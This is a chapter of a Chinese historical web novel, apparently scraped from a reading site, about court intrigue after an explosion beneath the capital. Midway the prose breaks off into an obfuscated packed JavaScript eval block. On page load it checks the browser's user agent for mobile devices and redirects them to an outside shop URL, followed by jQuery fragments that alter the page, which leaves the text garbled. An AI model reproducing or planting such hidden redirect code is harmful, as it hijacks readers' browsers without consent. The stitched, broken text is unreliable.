下了几日的雨，终于有了停的迹象。


    “王相为何要把此事告诉赵太傅？这会不会有些...”


    “有些画蛇添足，自寻死路？”


    王曜接过谢尧的话，冷笑了几声，比琴声更为清冽。谢尧低下头，像一个懵懂的学生等着老师指点。


    “信早就到了，只是等到当天才找人送给他，我就是想借他的口告诉上面那位，我从未出过那个圈子，他想做的，不过是自以为是。”


    王曜重新坐到桌前，双手抚上琴弦，双眼微闭。


    那张脸棱角并不分明，略白圆润，一副好人脸下面却是惊天的胆子，此刻谢尧只想赶紧离开。


    城北的那声巨响如苍龙破地而出，整个都城都摇摇晃晃。


    宋瑞正躺在院中的摇椅上，等着他的心肝儿给他送洗好的葡萄。


    还没等到甘甜入口，从北面传来一声巨响，吓得宋瑞差点从椅子上翻下来。


    “啊！”葡萄叽里咕噜滚落下来，女子抱着木盘，惊慌失色的跑到宋瑞面前，死死挽住他的胳膊。


    “这是发地震了吗？怎这样响，吓死奴家了！”说罢轻轻拍打胸口。


    宋瑞慢慢站起来，盯着北面的天空，他惊慌的在院子里寻摸，终于找到一个破旧的桌子，他一跨迈上去，几个凳腿已风化的摇摇欲坠，他也顾不得，朝声音传来的地方望去。


    女子搞不清他为何站那么高，在下面只喊道：“瑞郎，你爬那么高干什么？快下来，桌子要塌了！”


    宋瑞自言自语道：“前几天我送了两封信，一封到太傅府，一封给铁勒人，他们向我打听地下城，从这个方向看来，定是地下城出了事，我就知道...知道那个人是要把我往死路上推...”


    他感觉身子越来越重，“瑞郎，瑞郎，你别倒，我撑不住...”


    地下城的人已被陆陆续续送往住所，一场即将冒头的暴乱终是压了下去。


    周衍等人已是累得筋疲力竭，这一天无论是体力还是心力都被耗尽，几个人在夜色中垂头碎步地走着。


    就连平日最闹腾的端方也是一言不发，像只饿昏了的野马似的，头只能低昂着。


    “总算是百姓们都平安无事，多亏了大家的帮忙。”周衍的声音不大，但在惊吓后安静的夜里，却格外清晰。


    沈枫骞勉强挤出一丝笑说道：“在私下就不用还担着皇子的责任，替万民道谢之类的了吧？”


    周衍笑着摇摇头，“习惯了，难改。”


    沿着河岸走，每看到河面上涌一层银浪，柳树就扬起几条枝丫，透过缝隙能看到弯弯的月亮，黄色的在天上，绿色的挂在树梢。


    “不知嫦娥在月宫里待久了，会不会也觉得月宫是她的，桂树也是她，连月亮照到人间的每条河，每朵花，也都是她的。”周衍对着那枚弦月言语着。


    “什么你的她的，月亮就挂在那儿，谁爱看谁看。”芫华已经累得走不动了，今天包扎的伤患太多，她感觉手都是抖的，索性在河边坐了下来。


    端方也懒得走了，躺在草地上，月光照进眼睛里，像一片片散落的星星。


    其余人也都坐下来，听流水拍岸，听绿叶作响，听月亮掉入水中的扑通声。


    过了许久后，小院的人都回去了，周衍去了太傅府。


    就好似知道他要来一样，小厮就在门口守的，看到周衍来了，忙的跑过去说道：“殿下可是来了。”


    书房的灯通亮。


    赵疏清正在伏案写着什么，他眯着眼睛，拿起来又放下，屋里的灯火足够亮，可赵疏清的眼睛从未正常张开过。


    “老师。”周衍拿起手边的一盏灯，走到赵疏清的桌前放下。


    “看看这些。”赵疏清指着一摞信说道。


    “这是...”


    “你今晚来问什么，这些就是答案。”


    周衍好奇地拿起那摞信，从中抽出一封，信的内容倒没什么，可这落款...王曜！他又拆了几封，落款全都是一人！


    “这些年我与他的信并未断过，所以今日之事我今天下午就知道了。”赵疏清说得平静自然，好似这是一件没什么大不了的事一般。


    周衍强压住好奇，只问了一句：“我知老师和王曜关系，朋友间有书信往来并没什么，只是王曜为何要把地下城一事告知老师？”


    “错了。”赵疏清望向周衍的目光温和耐心，如同幼年的教导，“第一，不是朋友也可以有书信来往，第二王曜告诉我这件事，不过是借我之口向皇上炫耀，也是警告。”


    的确不是朋友也能写信，至于老师为何这样做，他也不想问，毕竟老师与学生之间，也不是什么都可坦诚相见的，何况还有一层君臣的关系。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978551|181817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “若他的目的是揭露盛世的疮疤，抹除父皇的威信，他一定还有其他安排。”


    “世家大族间同气连枝，就算他躲在那里，也绝非轻易能找出的。见招拆招，且看他还有什么手段吧，他这个从江南出来的，也和黔地的驴没有区别，总有技穷的那天。”


    他的老师永远那么乐观，无论遇到什么，总是一副终能完成的样子，周衍就学不会，他觉得这和肤色一样，天生带的。


    昨夜的事像一颗哑弹，虽未造成什么伤害，但也让都城的人变得紧张担心。


    早餐摊是讨论八卦最佳的地方。


    “老杨，来两碗馄饨，一碟咸菜！”


    “好嘞！”


    喊话的是个长脸的胖子，对桌还坐了个短脸的瘦子。


    长脸胖子向前伸直脖子，瞅了眼大街，小声说道：“昨天那声爆炸听见了吗？”


    短脸瘦子撅起下巴，“我又不是聋子，那么响，都城外都能听见。”


    “听说是，”长脸胖子指着地下，“这里被人扔了炸药，听说藏了七八万人呢！”


    “这么多灾民？！我有个远房表亲在蜀地，听说有富商出高价买了他们好多粮食，都运到了都城，原来是要援救灾民啊！”


    “这么多灾民从地方上来，怎么也没人管？”


    “我们哪里去管那些，别到时候来都城抢我们的粮就好！”


    一会儿馄饨上来，两个人端起碗，狼吞虎咽地吃起来。


    这些话通通被孙大蒙听了去，最担心的事还是发生了，昨天那声巨响轰出来的可不只是灾民，还有都城人的怀疑害怕，不真实的散播，别有用心的揣测，人心已在这汪浑浊的湖水中感到震动。


    “这些破嘴，天天胡说八道，看我去撕了他们！”孙大蒙的一个手下站在来就要冲过去打人。


    孙大蒙一把将他拽到凳子上，怒道：“一人说你能去打，两个人，三个人，甚至是一城的人呢？你能打几个？做事都不动脑子吗？！”


    “可就任他们到处造谣？”


    “沈家主已经去了码头，只要有粮，都城的人就不会怕，谣言自然也就烟消云散了。”孙大蒙说得无比笃定。


    沈宪昀的确去了码头，只是此次会不会再有粮进来，能否抚平都城这次动荡，都不由他说了算，在沈家的那只船上，他也只是一个看客。